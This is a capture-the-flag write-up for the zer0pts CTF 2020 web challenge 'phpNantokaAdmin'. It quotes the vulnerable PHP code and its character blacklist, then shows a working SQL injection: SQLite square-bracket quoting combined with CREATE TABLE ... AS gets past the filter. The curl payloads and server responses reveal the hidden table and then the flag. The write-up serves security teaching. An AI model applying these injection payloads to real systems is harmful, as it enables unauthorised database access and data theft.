# [zer0pts CTF 2020] phpNantokaAdmin
###### tags: `zer0pts CTF`, `zer0pts CTF 2020`, `web`
## Solution
We're given the source codes (`index.php`, `util.php`) and `Dockerfile`.
As you can see from `index.php`, the flag is stored in every created database as a table with unknown table name and unknown column name, but you can't see it.
```php=75
$pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');
$pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');
$pdo->query($sql);
```
Obviously there are SQL injection with table name, column name, and column type when creating tables in `index.php`.
```php=32
$stmt = $pdo->prepare("INSERT INTO `{$table_name}` VALUES (?" . str_repeat(',?', count($column_names) - 1) . ")");
$stmt->execute($values);
```
```php=47
if (!is_valid($table_name)) {
flash('Table name contains dangerous characters.');
}
if (strlen($table_name) < 4 || 32 < strlen($table_name)) {
flash('Table name must be 4-32 characters.');
}
if (count($columns) <= 0 || 10 < count($columns)) {
flash('Number of columns is up to 10.');
}
$sql = "CREATE TABLE {$table_name} (";
$sql .= "dummy1 TEXT, dummy2 TEXT";
for ($i = 0; $i < count($columns); $i++) {
$column = (string) ($columns[$i]['name'] ?? '');
$type = (string) ($columns[$i]['type'] ?? '');
if (!is_valid($column) || !is_valid($type)) {
flash('Column name or type contains dangerous characters.');
}
if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
flash('Column name and type must be 1-32 characters.');
}
$sql .= ', ';
$sql .= "`$column` $type";
}
$sql .= ');';
```
Unfortunately, these parameters are filtered by its length and `is_valid` function, which is defined in `util.php`.
```php=16
function is_valid($string) {
$banword = [
// comment out, calling function...
"[\"#'()*,\\/\\\\`-]"
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $string)) {
return false;
}
return true;
}
```
Let's check available characters.
```
$ cat test.php
<?php
function is_valid($string) {
$banword = [
// comment out, calling function...
"[\"#'()*,\\/\\\\`-]"
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $string)) {
return false;
}
return true;
}
$res = '';
for ($i = 0x20; $i < 0x7f; $i++) {
$c = chr($i);
if (is_valid($c)) {
$res .= $c;
}
}
echo $res . "\n";
$ php test.php
!$%&+.0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_abcdefghijklmnopqrstuvwxyz{|}~
```
`[` and `]` are available. In SQLite, [keywords can be enclosed in square brackets](https://www.sqlite.org/lang_keywords.html) instead of backticks, so it's worthy to use.
Also, SQLite has [`CREATE TABLE … AS` statement](https://www.sqlite.org/lang_createtable.html), which can be used to create a table from another table.
So, you can get the information about flag table by inputting `t AS SELECT sql [` to table name and `]FROM sqlite_master;` to column type when creating table.
```
$ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+sql+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+sqlite_master%3B'
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
<title>phpNantokaAdmin</title>
</head>
<body>
<h1>phpNantokaAdmin</h1>
<h2>t (<a href="?page=delete">Delete table</a>)</h2>
<form action="?page=insert" method="POST">
<table>
<tr>
<th> (dummy1 TEXT, dummy2 TEXT, `abc` </th>
</tr>
<tr>
<td>CREATE TABLE `flag_bf1811da` (`flag_2a2d04c3` TEXT)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><input type="text" name="values[]"></td>
</tr>
</table>
<input type="submit" value="Insert values">
</form>
</body>
</html>
```
In the same way, you can get the flag.
```
$ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+flag_2a2d04c3+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+flag_bf1811da%3B'
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
<title>phpNantokaAdmin</title>
</head>
<body>
<h1>phpNantokaAdmin</h1>
<h2>t (<a href="?page=delete">Delete table</a>)</h2>
<form action="?page=insert" method="POST">
<table>
<tr>
<th> (dummy1 TEXT, dummy2 TEXT, `abc` </th>
</tr>
<tr>
<td>zer0pts{Smile_Sweet_Sister_Sadistic_Surprise_Service_SQL_Injection!!}</td>
</tr>
<tr>
<td><input type="text" name="values[]"></td>
</tr>
</table>
<input type="submit" value="Insert values">
</form>
</body>
</html>
```